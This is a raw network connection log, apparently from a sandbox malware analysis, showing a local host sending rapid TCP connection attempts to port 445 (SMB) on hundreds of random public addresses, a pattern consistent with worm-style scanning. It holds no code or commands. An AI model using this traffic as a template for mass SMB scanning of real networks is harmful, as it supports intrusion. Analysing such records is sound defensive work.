Jul 21, 2022 04:38:03.665640116 CEST	62882	445	192.168.2.6	158.39.178.177
Jul 21, 2022 04:38:03.665679932 CEST	62884	445	192.168.2.6	27.189.244.19
Jul 21, 2022 04:38:03.665844917 CEST	62888	445	192.168.2.6	162.173.219.199
Jul 21, 2022 04:38:03.666228056 CEST	62897	445	192.168.2.6	162.191.73.166
Jul 21, 2022 04:38:03.666398048 CEST	62900	445	192.168.2.6	43.34.136.36
Jul 21, 2022 04:38:03.667066097 CEST	62913	445	192.168.2.6	80.216.2.159
Jul 21, 2022 04:38:03.667191982 CEST	62914	445	192.168.2.6	145.44.79.116
Jul 21, 2022 04:38:03.667418957 CEST	62919	445	192.168.2.6	72.0.241.216
Jul 21, 2022 04:38:03.667543888 CEST	62921	445	192.168.2.6	1.122.208.111
Jul 21, 2022 04:38:03.667709112 CEST	62924	445	192.168.2.6	107.73.99.76
Jul 21, 2022 04:38:03.667994022 CEST	62929	445	192.168.2.6	76.200.81.169
Jul 21, 2022 04:38:03.668064117 CEST	62931	445	192.168.2.6	94.171.112.15
Jul 21, 2022 04:38:03.668184042 CEST	62932	445	192.168.2.6	133.103.100.237
Jul 21, 2022 04:38:03.668613911 CEST	62938	445	192.168.2.6	50.14.74.227
Jul 21, 2022 04:38:03.668904066 CEST	62941	445	192.168.2.6	206.34.220.101
Jul 21, 2022 04:38:03.669054985 CEST	62945	445	192.168.2.6	199.161.3.41
Jul 21, 2022 04:38:03.669466019 CEST	62955	445	192.168.2.6	186.31.28.216
Jul 21, 2022 04:38:03.669640064 CEST	62958	445	192.168.2.6	64.49.92.160
Jul 21, 2022 04:38:03.713619947 CEST	445	62913	80.216.2.159	192.168.2.6
Jul 21, 2022 04:38:04.069941044 CEST	62961	445	192.168.2.6	190.98.231.130
Jul 21, 2022 04:38:04.148520947 CEST	62962	445	192.168.2.6	189.172.146.27
Jul 21, 2022 04:38:04.148632050 CEST	62963	445	192.168.2.6	207.180.242.142
Jul 21, 2022 04:38:04.225931883 CEST	61567	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:38:04.225956917 CEST	62913	445	192.168.2.6	80.216.2.159
Jul 21, 2022 04:38:04.257289886 CEST	62484	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:38:04.273611069 CEST	445	62913	80.216.2.159	192.168.2.6
Jul 21, 2022 04:38:04.289343119 CEST	62965	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:04.418164968 CEST	445	62965	184.95.127.2	192.168.2.6
Jul 21, 2022 04:38:04.418318033 CEST	62965	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:04.418836117 CEST	62966	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:04.550440073 CEST	445	62966	184.95.127.2	192.168.2.6
Jul 21, 2022 04:38:04.550589085 CEST	62966	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:04.788968086 CEST	62972	445	192.168.2.6	122.236.35.138
Jul 21, 2022 04:38:04.789385080 CEST	62973	445	192.168.2.6	59.82.229.205
Jul 21, 2022 04:38:04.789469957 CEST	62974	445	192.168.2.6	134.59.10.43
Jul 21, 2022 04:38:04.789691925 CEST	62977	445	192.168.2.6	124.179.112.31
Jul 21, 2022 04:38:04.790051937 CEST	62983	445	192.168.2.6	51.206.192.113
Jul 21, 2022 04:38:04.790297031 CEST	62988	445	192.168.2.6	53.146.67.174
Jul 21, 2022 04:38:04.790406942 CEST	62990	445	192.168.2.6	83.103.190.246
Jul 21, 2022 04:38:04.790710926 CEST	62995	445	192.168.2.6	64.76.168.49
Jul 21, 2022 04:38:04.790750980 CEST	62996	445	192.168.2.6	141.170.105.65
Jul 21, 2022 04:38:04.790951967 CEST	63000	445	192.168.2.6	149.162.123.104
Jul 21, 2022 04:38:04.791137934 CEST	63003	445	192.168.2.6	158.226.137.104
Jul 21, 2022 04:38:04.791275978 CEST	63006	445	192.168.2.6	204.30.99.50
Jul 21, 2022 04:38:04.791294098 CEST	63007	445	192.168.2.6	150.223.81.134
Jul 21, 2022 04:38:04.791591883 CEST	63012	445	192.168.2.6	114.227.98.74
Jul 21, 2022 04:38:04.791750908 CEST	63016	445	192.168.2.6	173.109.169.91
Jul 21, 2022 04:38:04.791960955 CEST	63020	445	192.168.2.6	186.43.86.30
Jul 21, 2022 04:38:04.792385101 CEST	63028	445	192.168.2.6	131.89.74.232
Jul 21, 2022 04:38:04.792531013 CEST	63032	445	192.168.2.6	170.243.226.60
Jul 21, 2022 04:38:04.793193102 CEST	63043	445	192.168.2.6	63.116.244.77
Jul 21, 2022 04:38:04.793385983 CEST	63046	445	192.168.2.6	121.196.152.12
Jul 21, 2022 04:38:04.793682098 CEST	63055	445	192.168.2.6	191.174.187.7
Jul 21, 2022 04:38:04.793921947 CEST	63060	445	192.168.2.6	194.236.219.4
Jul 21, 2022 04:38:04.794183969 CEST	63066	445	192.168.2.6	210.190.151.157
Jul 21, 2022 04:38:04.794193029 CEST	63061	445	192.168.2.6	73.235.197.199
Jul 21, 2022 04:38:04.794537067 CEST	63075	445	192.168.2.6	116.96.31.7
Jul 21, 2022 04:38:04.794620991 CEST	63076	445	192.168.2.6	103.79.226.238
Jul 21, 2022 04:38:04.794780970 CEST	63079	445	192.168.2.6	201.212.70.23
Jul 21, 2022 04:38:04.804142952 CEST	62965	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:04.944946051 CEST	62966	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:05.132781982 CEST	63082	445	192.168.2.6	190.98.231.131
Jul 21, 2022 04:38:05.194916010 CEST	62965	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:05.211038113 CEST	63083	445	192.168.2.6	207.180.242.143
Jul 21, 2022 04:38:05.211368084 CEST	63084	445	192.168.2.6	189.172.146.28
Jul 21, 2022 04:38:05.233882904 CEST	445	63083	207.180.242.143	192.168.2.6
Jul 21, 2022 04:38:05.351130962 CEST	62966	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:05.741811037 CEST	63083	445	192.168.2.6	207.180.242.143
Jul 21, 2022 04:38:05.765472889 CEST	445	63083	207.180.242.143	192.168.2.6
Jul 21, 2022 04:38:05.914037943 CEST	63091	445	192.168.2.6	73.87.204.106
Jul 21, 2022 04:38:05.914685011 CEST	63096	445	192.168.2.6	87.111.22.24
Jul 21, 2022 04:38:05.914953947 CEST	63100	445	192.168.2.6	184.216.21.242
Jul 21, 2022 04:38:05.915227890 CEST	63104	445	192.168.2.6	169.49.40.249
Jul 21, 2022 04:38:05.915230989 CEST	63105	445	192.168.2.6	186.234.191.100
Jul 21, 2022 04:38:05.915479898 CEST	63108	445	192.168.2.6	15.153.175.61
Jul 21, 2022 04:38:05.915945053 CEST	63115	445	192.168.2.6	130.44.58.146
Jul 21, 2022 04:38:05.916090012 CEST	63117	445	192.168.2.6	221.152.113.64
Jul 21, 2022 04:38:05.916100979 CEST	63118	445	192.168.2.6	158.91.55.106
Jul 21, 2022 04:38:05.916366100 CEST	63121	445	192.168.2.6	12.154.213.175
Jul 21, 2022 04:38:05.916553974 CEST	63123	445	192.168.2.6	204.117.63.7
Jul 21, 2022 04:38:05.916553974 CEST	63124	445	192.168.2.6	49.231.93.154
Jul 21, 2022 04:38:05.917383909 CEST	63137	445	192.168.2.6	140.209.71.14
Jul 21, 2022 04:38:05.917572975 CEST	63138	445	192.168.2.6	50.20.248.136
Jul 21, 2022 04:38:05.918127060 CEST	63147	445	192.168.2.6	189.150.125.251
Jul 21, 2022 04:38:05.918226004 CEST	63149	445	192.168.2.6	175.205.101.66
Jul 21, 2022 04:38:05.918378115 CEST	63151	445	192.168.2.6	200.131.25.193
Jul 21, 2022 04:38:05.918567896 CEST	63153	445	192.168.2.6	52.72.6.18
Jul 21, 2022 04:38:05.918754101 CEST	63157	445	192.168.2.6	118.243.226.243
Jul 21, 2022 04:38:05.918864965 CEST	63158	445	192.168.2.6	65.125.131.229
Jul 21, 2022 04:38:05.919049978 CEST	63160	445	192.168.2.6	52.239.89.218
Jul 21, 2022 04:38:05.919347048 CEST	63165	445	192.168.2.6	118.70.147.206
Jul 21, 2022 04:38:05.919744968 CEST	63172	445	192.168.2.6	93.243.53.133
Jul 21, 2022 04:38:05.919917107 CEST	63175	445	192.168.2.6	205.98.41.184
Jul 21, 2022 04:38:05.920694113 CEST	63188	445	192.168.2.6	81.165.34.128
Jul 21, 2022 04:38:05.921159983 CEST	63195	445	192.168.2.6	164.209.195.206
Jul 21, 2022 04:38:05.921354055 CEST	63199	445	192.168.2.6	61.48.182.57
Jul 21, 2022 04:38:05.960525036 CEST	62965	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:06.064029932 CEST	445	63115	130.44.58.146	192.168.2.6
Jul 21, 2022 04:38:06.148077011 CEST	62966	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:06.210830927 CEST	63202	445	192.168.2.6	190.98.231.132
Jul 21, 2022 04:38:06.289236069 CEST	63204	445	192.168.2.6	207.180.242.144
Jul 21, 2022 04:38:06.289285898 CEST	63203	445	192.168.2.6	189.172.146.29
Jul 21, 2022 04:38:06.569945097 CEST	63115	445	192.168.2.6	130.44.58.146
Jul 21, 2022 04:38:06.710392952 CEST	445	63115	130.44.58.146	192.168.2.6
Jul 21, 2022 04:38:07.039036989 CEST	63211	445	192.168.2.6	168.195.87.65
Jul 21, 2022 04:38:07.039832115 CEST	63224	445	192.168.2.6	140.51.225.51
Jul 21, 2022 04:38:07.039975882 CEST	63226	445	192.168.2.6	138.162.137.32
Jul 21, 2022 04:38:07.040035009 CEST	63227	445	192.168.2.6	156.155.85.181
Jul 21, 2022 04:38:07.040203094 CEST	63229	445	192.168.2.6	17.133.184.245
Jul 21, 2022 04:38:07.040339947 CEST	63232	445	192.168.2.6	55.214.58.22
Jul 21, 2022 04:38:07.040558100 CEST	63236	445	192.168.2.6	54.148.55.47
Jul 21, 2022 04:38:07.040985107 CEST	63244	445	192.168.2.6	36.41.29.22
Jul 21, 2022 04:38:07.041098118 CEST	63246	445	192.168.2.6	21.4.102.86
Jul 21, 2022 04:38:07.041290045 CEST	63250	445	192.168.2.6	219.34.140.133
Jul 21, 2022 04:38:07.041455984 CEST	63253	445	192.168.2.6	149.14.186.1
Jul 21, 2022 04:38:07.041521072 CEST	63254	445	192.168.2.6	103.16.174.179
Jul 21, 2022 04:38:07.041954994 CEST	63263	445	192.168.2.6	126.242.174.185
Jul 21, 2022 04:38:07.042289019 CEST	63271	445	192.168.2.6	165.199.166.38
Jul 21, 2022 04:38:07.042413950 CEST	63273	445	192.168.2.6	163.138.217.0
Jul 21, 2022 04:38:07.043093920 CEST	63285	445	192.168.2.6	88.122.250.249
Jul 21, 2022 04:38:07.043220043 CEST	63289	445	192.168.2.6	168.229.82.21
Jul 21, 2022 04:38:07.043428898 CEST	63293	445	192.168.2.6	120.238.199.214
Jul 21, 2022 04:38:07.043546915 CEST	63295	445	192.168.2.6	61.3.16.176
Jul 21, 2022 04:38:07.043706894 CEST	63298	445	192.168.2.6	167.38.16.20
Jul 21, 2022 04:38:07.043910027 CEST	63303	445	192.168.2.6	115.57.10.224
Jul 21, 2022 04:38:07.044033051 CEST	63305	445	192.168.2.6	58.102.173.213
Jul 21, 2022 04:38:07.044056892 CEST	63306	445	192.168.2.6	40.120.104.132
Jul 21, 2022 04:38:07.044153929 CEST	63307	445	192.168.2.6	16.234.16.136
Jul 21, 2022 04:38:07.044177055 CEST	63308	445	192.168.2.6	13.245.51.205
Jul 21, 2022 04:38:07.044604063 CEST	63317	445	192.168.2.6	103.165.100.97
Jul 21, 2022 04:38:07.044713020 CEST	63319	445	192.168.2.6	161.168.64.174
Jul 21, 2022 04:38:07.273523092 CEST	63321	445	192.168.2.6	190.98.231.133
Jul 21, 2022 04:38:07.367166996 CEST	63324	445	192.168.2.6	207.180.242.145
Jul 21, 2022 04:38:07.370868921 CEST	63323	445	192.168.2.6	189.172.146.30
Jul 21, 2022 04:38:07.394095898 CEST	445	63324	207.180.242.145	192.168.2.6
Jul 21, 2022 04:38:07.491873026 CEST	62965	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:07.741950989 CEST	62966	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:07.898171902 CEST	63324	445	192.168.2.6	207.180.242.145
Jul 21, 2022 04:38:07.922058105 CEST	445	63324	207.180.242.145	192.168.2.6
Jul 21, 2022 04:38:08.148523092 CEST	63332	445	192.168.2.6	60.45.95.2
Jul 21, 2022 04:38:08.148866892 CEST	63339	445	192.168.2.6	95.13.121.19
Jul 21, 2022 04:38:08.149179935 CEST	63344	445	192.168.2.6	15.78.13.45
Jul 21, 2022 04:38:08.149595976 CEST	63355	445	192.168.2.6	154.158.160.53
Jul 21, 2022 04:38:08.149679899 CEST	63357	445	192.168.2.6	14.30.38.124
Jul 21, 2022 04:38:08.149969101 CEST	63362	445	192.168.2.6	213.167.200.246
Jul 21, 2022 04:38:08.150047064 CEST	63364	445	192.168.2.6	181.110.185.17
Jul 21, 2022 04:38:08.150201082 CEST	63367	445	192.168.2.6	126.179.32.248
Jul 21, 2022 04:38:08.150357962 CEST	63370	445	192.168.2.6	82.32.191.20
Jul 21, 2022 04:38:08.150527000 CEST	63372	445	192.168.2.6	194.128.183.95
Jul 21, 2022 04:38:08.150655985 CEST	63373	445	192.168.2.6	24.35.156.28
Jul 21, 2022 04:38:08.150716066 CEST	63374	445	192.168.2.6	153.162.108.62
Jul 21, 2022 04:38:08.151053905 CEST	63380	445	192.168.2.6	77.141.115.68
Jul 21, 2022 04:38:08.151815891 CEST	63396	445	192.168.2.6	110.134.183.212
Jul 21, 2022 04:38:08.151921988 CEST	63398	445	192.168.2.6	57.76.87.146
Jul 21, 2022 04:38:08.151964903 CEST	63399	445	192.168.2.6	33.133.254.91
Jul 21, 2022 04:38:08.152019978 CEST	63400	445	192.168.2.6	54.25.1.28
Jul 21, 2022 04:38:08.152128935 CEST	63402	445	192.168.2.6	30.98.163.160
Jul 21, 2022 04:38:08.152182102 CEST	63403	445	192.168.2.6	87.25.24.228
Jul 21, 2022 04:38:08.152370930 CEST	63407	445	192.168.2.6	32.84.30.169
Jul 21, 2022 04:38:08.152484894 CEST	63410	445	192.168.2.6	177.152.220.12
Jul 21, 2022 04:38:08.152801991 CEST	63417	445	192.168.2.6	49.180.95.36
Jul 21, 2022 04:38:08.153125048 CEST	63424	445	192.168.2.6	94.15.103.128
Jul 21, 2022 04:38:08.153244019 CEST	63427	445	192.168.2.6	95.96.113.170
Jul 21, 2022 04:38:08.153307915 CEST	63428	445	192.168.2.6	93.23.239.175
Jul 21, 2022 04:38:08.153325081 CEST	63429	445	192.168.2.6	57.120.51.95
Jul 21, 2022 04:38:08.153753042 CEST	63438	445	192.168.2.6	32.235.107.194
Jul 21, 2022 04:38:08.351648092 CEST	63442	445	192.168.2.6	190.98.231.134
Jul 21, 2022 04:38:08.445552111 CEST	63443	445	192.168.2.6	189.172.146.31
Jul 21, 2022 04:38:08.445563078 CEST	63445	445	192.168.2.6	207.180.242.146
Jul 21, 2022 04:38:09.070292950 CEST	62484	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:38:09.258349895 CEST	63455	445	192.168.2.6	141.159.120.62
Jul 21, 2022 04:38:09.259514093 CEST	63472	445	192.168.2.6	31.104.32.147
Jul 21, 2022 04:38:09.259622097 CEST	63473	445	192.168.2.6	18.209.220.231
Jul 21, 2022 04:38:09.259752989 CEST	63474	445	192.168.2.6	46.14.105.191
Jul 21, 2022 04:38:09.259844065 CEST	63475	445	192.168.2.6	197.217.58.79
Jul 21, 2022 04:38:09.260016918 CEST	63477	445	192.168.2.6	153.67.113.147
Jul 21, 2022 04:38:09.260098934 CEST	63478	445	192.168.2.6	52.54.122.190
Jul 21, 2022 04:38:09.260441065 CEST	63483	445	192.168.2.6	137.57.158.91
Jul 21, 2022 04:38:09.260610104 CEST	63485	445	192.168.2.6	133.162.0.118
Jul 21, 2022 04:38:09.261077881 CEST	63492	445	192.168.2.6	159.147.136.173
Jul 21, 2022 04:38:09.261574030 CEST	63499	445	192.168.2.6	60.1.207.0
Jul 21, 2022 04:38:09.261768103 CEST	63502	445	192.168.2.6	123.173.23.80
Jul 21, 2022 04:38:09.261957884 CEST	63503	445	192.168.2.6	117.213.189.162
Jul 21, 2022 04:38:09.262254000 CEST	63504	445	192.168.2.6	220.124.94.64
Jul 21, 2022 04:38:09.263123989 CEST	63513	445	192.168.2.6	35.17.178.250
Jul 21, 2022 04:38:09.263680935 CEST	63520	445	192.168.2.6	213.233.65.147
Jul 21, 2022 04:38:09.264014959 CEST	63523	445	192.168.2.6	36.137.211.42
Jul 21, 2022 04:38:09.264906883 CEST	63535	445	192.168.2.6	128.22.14.249
Jul 21, 2022 04:38:09.265058041 CEST	63537	445	192.168.2.6	67.238.85.134
Jul 21, 2022 04:38:09.265525103 CEST	63544	445	192.168.2.6	214.141.101.252
Jul 21, 2022 04:38:09.265646935 CEST	63545	445	192.168.2.6	73.14.223.181
Jul 21, 2022 04:38:09.265774012 CEST	63547	445	192.168.2.6	119.199.153.176
Jul 21, 2022 04:38:09.266112089 CEST	63552	445	192.168.2.6	102.8.92.59
Jul 21, 2022 04:38:09.266175985 CEST	63553	445	192.168.2.6	139.101.212.207
Jul 21, 2022 04:38:09.266273022 CEST	63554	445	192.168.2.6	77.235.174.178
Jul 21, 2022 04:38:09.266391039 CEST	63555	445	192.168.2.6	45.44.14.100
Jul 21, 2022 04:38:09.266721964 CEST	63560	445	192.168.2.6	164.111.162.137
Jul 21, 2022 04:38:09.430114031 CEST	63564	445	192.168.2.6	190.98.231.135
Jul 21, 2022 04:38:09.508070946 CEST	63566	445	192.168.2.6	189.172.146.32
Jul 21, 2022 04:38:09.508100986 CEST	63565	445	192.168.2.6	207.180.242.147
Jul 21, 2022 04:38:09.532872915 CEST	445	63565	207.180.242.147	192.168.2.6
Jul 21, 2022 04:38:10.039118052 CEST	63565	445	192.168.2.6	207.180.242.147
Jul 21, 2022 04:38:10.063735962 CEST	445	63565	207.180.242.147	192.168.2.6
Jul 21, 2022 04:38:10.367799997 CEST	63575	445	192.168.2.6	86.32.246.68
Jul 21, 2022 04:38:10.368417978 CEST	63587	445	192.168.2.6	86.70.53.190
Jul 21, 2022 04:38:10.368756056 CEST	63592	445	192.168.2.6	179.42.88.171
Jul 21, 2022 04:38:10.368918896 CEST	63595	445	192.168.2.6	76.113.68.184
Jul 21, 2022 04:38:10.369581938 CEST	63608	445	192.168.2.6	37.132.126.109
Jul 21, 2022 04:38:10.369663000 CEST	63609	445	192.168.2.6	15.205.190.163
Jul 21, 2022 04:38:10.370086908 CEST	63616	445	192.168.2.6	43.5.42.32
Jul 21, 2022 04:38:10.370302916 CEST	63619	445	192.168.2.6	56.253.224.218
Jul 21, 2022 04:38:10.370327950 CEST	63620	445	192.168.2.6	174.15.164.142
Jul 21, 2022 04:38:10.370608091 CEST	63624	445	192.168.2.6	34.74.234.44
Jul 21, 2022 04:38:10.370770931 CEST	63626	445	192.168.2.6	134.13.227.174
Jul 21, 2022 04:38:10.370800018 CEST	63627	445	192.168.2.6	158.111.185.134
Jul 21, 2022 04:38:10.370948076 CEST	63629	445	192.168.2.6	89.3.182.8
Jul 21, 2022 04:38:10.371208906 CEST	63633	445	192.168.2.6	164.92.75.30
Jul 21, 2022 04:38:10.372214079 CEST	63651	445	192.168.2.6	96.222.196.127
Jul 21, 2022 04:38:10.372309923 CEST	63652	445	192.168.2.6	182.204.159.71
Jul 21, 2022 04:38:10.372339010 CEST	63653	445	192.168.2.6	119.224.219.146
Jul 21, 2022 04:38:10.372478962 CEST	63654	445	192.168.2.6	219.228.37.89
Jul 21, 2022 04:38:10.372519016 CEST	63655	445	192.168.2.6	155.228.116.254
Jul 21, 2022 04:38:10.372652054 CEST	63656	445	192.168.2.6	114.91.152.3
Jul 21, 2022 04:38:10.372939110 CEST	63662	445	192.168.2.6	185.149.172.43
Jul 21, 2022 04:38:10.373050928 CEST	63663	445	192.168.2.6	121.103.145.14
Jul 21, 2022 04:38:10.373442888 CEST	63670	445	192.168.2.6	40.143.215.3
Jul 21, 2022 04:38:10.373832941 CEST	63678	445	192.168.2.6	13.136.59.114
Jul 21, 2022 04:38:10.374093056 CEST	63681	445	192.168.2.6	30.14.37.219
Jul 21, 2022 04:38:10.374154091 CEST	63682	445	192.168.2.6	188.151.166.205
Jul 21, 2022 04:38:10.374288082 CEST	63683	445	192.168.2.6	168.185.179.143
Jul 21, 2022 04:38:10.492790937 CEST	63684	445	192.168.2.6	190.98.231.136
Jul 21, 2022 04:38:10.539161921 CEST	62965	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:10.547594070 CEST	445	63633	164.92.75.30	192.168.2.6
Jul 21, 2022 04:38:10.586453915 CEST	63687	445	192.168.2.6	207.180.242.148
Jul 21, 2022 04:38:10.586591005 CEST	63688	445	192.168.2.6	189.172.146.33
Jul 21, 2022 04:38:10.914210081 CEST	62966	445	192.168.2.6	184.95.127.2
Jul 21, 2022 04:38:11.054685116 CEST	63633	445	192.168.2.6	164.92.75.30
Jul 21, 2022 04:38:11.227674007 CEST	445	63633	164.92.75.30	192.168.2.6
Jul 21, 2022 04:38:11.476835012 CEST	63698	445	192.168.2.6	148.225.139.74
Jul 21, 2022 04:38:11.477586031 CEST	63713	445	192.168.2.6	3.252.242.91
Jul 21, 2022 04:38:11.478327036 CEST	63730	445	192.168.2.6	80.236.83.136
Jul 21, 2022 04:38:11.478398085 CEST	63731	445	192.168.2.6	33.198.209.191
Jul 21, 2022 04:38:11.478440046 CEST	63732	445	192.168.2.6	19.169.244.85
Jul 21, 2022 04:38:11.478549004 CEST	63733	445	192.168.2.6	176.114.180.251
Jul 21, 2022 04:38:11.478594065 CEST	63734	445	192.168.2.6	185.165.165.9
Jul 21, 2022 04:38:11.478760004 CEST	63737	445	192.168.2.6	219.139.52.128
Jul 21, 2022 04:38:11.478971958 CEST	63742	445	192.168.2.6	161.73.94.126
Jul 21, 2022 04:38:11.479022026 CEST	63743	445	192.168.2.6	158.33.159.60
Jul 21, 2022 04:38:11.479279041 CEST	63748	445	192.168.2.6	5.38.20.89
Jul 21, 2022 04:38:11.479660988 CEST	63755	445	192.168.2.6	53.38.236.241
Jul 21, 2022 04:38:11.479763985 CEST	63759	445	192.168.2.6	197.7.84.177
Jul 21, 2022 04:38:11.479877949 CEST	63760	445	192.168.2.6	70.58.153.184
Jul 21, 2022 04:38:11.479887009 CEST	63761	445	192.168.2.6	143.181.21.15
Jul 21, 2022 04:38:11.479970932 CEST	63762	445	192.168.2.6	125.35.63.157
Jul 21, 2022 04:38:11.480062008 CEST	63764	445	192.168.2.6	151.106.126.208
Jul 21, 2022 04:38:11.480226040 CEST	63767	445	192.168.2.6	112.178.191.101
Jul 21, 2022 04:38:11.480460882 CEST	63771	445	192.168.2.6	73.193.118.76
Jul 21, 2022 04:38:11.480628014 CEST	63775	445	192.168.2.6	129.161.96.134
Jul 21, 2022 04:38:11.480729103 CEST	63776	445	192.168.2.6	160.27.170.191
Jul 21, 2022 04:38:11.480760098 CEST	63777	445	192.168.2.6	73.130.156.44
Jul 21, 2022 04:38:11.481050014 CEST	63784	445	192.168.2.6	152.130.170.240
Jul 21, 2022 04:38:11.481101990 CEST	63785	445	192.168.2.6	142.35.119.36
Jul 21, 2022 04:38:11.481626034 CEST	63796	445	192.168.2.6	187.137.19.246
Jul 21, 2022 04:38:11.481884003 CEST	63801	445	192.168.2.6	95.2.100.215
Jul 21, 2022 04:38:11.482002974 CEST	63804	445	192.168.2.6	22.95.123.138
Jul 21, 2022 04:38:11.516633987 CEST	445	63742	161.73.94.126	192.168.2.6
Jul 21, 2022 04:38:11.570839882 CEST	63807	445	192.168.2.6	190.98.231.137
Jul 21, 2022 04:38:11.664438009 CEST	63810	445	192.168.2.6	207.180.242.149
Jul 21, 2022 04:38:11.664540052 CEST	63811	445	192.168.2.6	189.172.146.34
Jul 21, 2022 04:38:11.669811964 CEST	445	63796	187.137.19.246	192.168.2.6
Jul 21, 2022 04:38:11.799503088 CEST	445	63759	197.7.84.177	192.168.2.6
Jul 21, 2022 04:38:11.799640894 CEST	445	63759	197.7.84.177	192.168.2.6
Jul 21, 2022 04:38:12.023534060 CEST	63742	445	192.168.2.6	161.73.94.126
Jul 21, 2022 04:38:12.060262918 CEST	445	63742	161.73.94.126	192.168.2.6
Jul 21, 2022 04:38:12.179780006 CEST	63796	445	192.168.2.6	187.137.19.246
Jul 21, 2022 04:38:12.366308928 CEST	445	63796	187.137.19.246	192.168.2.6
Jul 21, 2022 04:38:12.602116108 CEST	63822	445	192.168.2.6	132.171.43.223
Jul 21, 2022 04:38:12.602356911 CEST	63824	445	192.168.2.6	71.242.112.17
Jul 21, 2022 04:38:12.602588892 CEST	63829	445	192.168.2.6	66.205.79.44
Jul 21, 2022 04:38:12.602593899 CEST	63825	445	192.168.2.6	44.199.224.215
Jul 21, 2022 04:38:12.602859020 CEST	63834	445	192.168.2.6	53.230.113.116
Jul 21, 2022 04:38:12.603193998 CEST	63841	445	192.168.2.6	93.116.220.78
Jul 21, 2022 04:38:12.603230953 CEST	63842	445	192.168.2.6	135.168.98.206
Jul 21, 2022 04:38:12.603445053 CEST	63846	445	192.168.2.6	99.24.151.226
Jul 21, 2022 04:38:12.603714943 CEST	63851	445	192.168.2.6	75.175.81.151
Jul 21, 2022 04:38:12.603722095 CEST	63850	445	192.168.2.6	4.183.106.241
Jul 21, 2022 04:38:12.603889942 CEST	63853	445	192.168.2.6	199.78.86.75
Jul 21, 2022 04:38:12.603915930 CEST	63852	445	192.168.2.6	166.254.246.9
Jul 21, 2022 04:38:12.604018927 CEST	63854	445	192.168.2.6	209.156.0.15
Jul 21, 2022 04:38:12.604784012 CEST	63869	445	192.168.2.6	187.122.154.175
Jul 21, 2022 04:38:12.605638981 CEST	63885	445	192.168.2.6	118.34.193.245
Jul 21, 2022 04:38:12.605768919 CEST	63887	445	192.168.2.6	80.141.189.157
Jul 21, 2022 04:38:12.606079102 CEST	63894	445	192.168.2.6	139.207.243.1
Jul 21, 2022 04:38:12.606575012 CEST	63904	445	192.168.2.6	195.158.84.187
Jul 21, 2022 04:38:12.606707096 CEST	63906	445	192.168.2.6	208.125.45.73
Jul 21, 2022 04:38:12.607075930 CEST	63913	445	192.168.2.6	102.67.43.208
Jul 21, 2022 04:38:12.607214928 CEST	63914	445	192.168.2.6	137.161.223.96
Jul 21, 2022 04:38:12.607398987 CEST	63916	445	192.168.2.6	68.61.35.164
Jul 21, 2022 04:38:12.607435942 CEST	63919	445	192.168.2.6	112.123.182.36
Jul 21, 2022 04:38:12.607585907 CEST	63923	445	192.168.2.6	110.170.15.21
Jul 21, 2022 04:38:12.607795000 CEST	63926	445	192.168.2.6	47.178.234.10
Jul 21, 2022 04:38:12.607800007 CEST	63927	445	192.168.2.6	193.192.232.194
Jul 21, 2022 04:38:12.607947111 CEST	63929	445	192.168.2.6	153.236.40.87
Jul 21, 2022 04:38:12.648912907 CEST	63930	445	192.168.2.6	190.98.231.138
Jul 21, 2022 04:38:12.727066040 CEST	63931	445	192.168.2.6	207.180.242.150
Jul 21, 2022 04:38:12.727118969 CEST	63932	445	192.168.2.6	189.172.146.35
Jul 21, 2022 04:38:12.831319094 CEST	445	63923	110.170.15.21	192.168.2.6
Jul 21, 2022 04:38:13.325433016 CEST	445	63929	153.236.40.87	192.168.2.6
Jul 21, 2022 04:38:13.336172104 CEST	63923	445	192.168.2.6	110.170.15.21
Jul 21, 2022 04:38:13.555727005 CEST	445	63923	110.170.15.21	192.168.2.6
Jul 21, 2022 04:38:13.727175951 CEST	63945	445	192.168.2.6	85.218.113.41
Jul 21, 2022 04:38:13.727833986 CEST	63950	445	192.168.2.6	105.204.159.159
Jul 21, 2022 04:38:13.728041887 CEST	63952	445	192.168.2.6	11.63.215.162
Jul 21, 2022 04:38:13.728782892 CEST	63964	445	192.168.2.6	108.116.80.47
Jul 21, 2022 04:38:13.728827953 CEST	63965	445	192.168.2.6	206.211.226.196
Jul 21, 2022 04:38:13.729243040 CEST	63972	445	192.168.2.6	125.23.89.245
Jul 21, 2022 04:38:13.729792118 CEST	63982	445	192.168.2.6	11.247.202.25
Jul 21, 2022 04:38:13.729945898 CEST	63983	445	192.168.2.6	155.126.8.96
Jul 21, 2022 04:38:13.730303049 CEST	63989	445	192.168.2.6	134.237.66.45
Jul 21, 2022 04:38:13.730469942 CEST	63992	445	192.168.2.6	202.231.77.212
Jul 21, 2022 04:38:13.730540037 CEST	63993	445	192.168.2.6	110.197.228.64
Jul 21, 2022 04:38:13.730844021 CEST	63997	445	192.168.2.6	163.88.211.87
Jul 21, 2022 04:38:13.731076002 CEST	64001	445	192.168.2.6	1.175.50.153
Jul 21, 2022 04:38:13.731302977 CEST	64004	445	192.168.2.6	184.226.114.35
Jul 21, 2022 04:38:13.731323957 CEST	64005	445	192.168.2.6	183.49.136.47
Jul 21, 2022 04:38:13.731448889 CEST	64006	445	192.168.2.6	107.80.232.189
Jul 21, 2022 04:38:13.731595039 CEST	64008	445	192.168.2.6	190.98.231.139
Jul 21, 2022 04:38:13.731897116 CEST	64009	445	192.168.2.6	94.15.93.82
Jul 21, 2022 04:38:13.732270956 CEST	64017	445	192.168.2.6	93.128.181.28
Jul 21, 2022 04:38:13.733081102 CEST	64032	445	192.168.2.6	78.81.21.111
Jul 21, 2022 04:38:13.733140945 CEST	64031	445	192.168.2.6	15.10.217.11
Jul 21, 2022 04:38:13.733275890 CEST	64033	445	192.168.2.6	150.76.2.75
Jul 21, 2022 04:38:13.733433962 CEST	64035	445	192.168.2.6	78.202.10.137
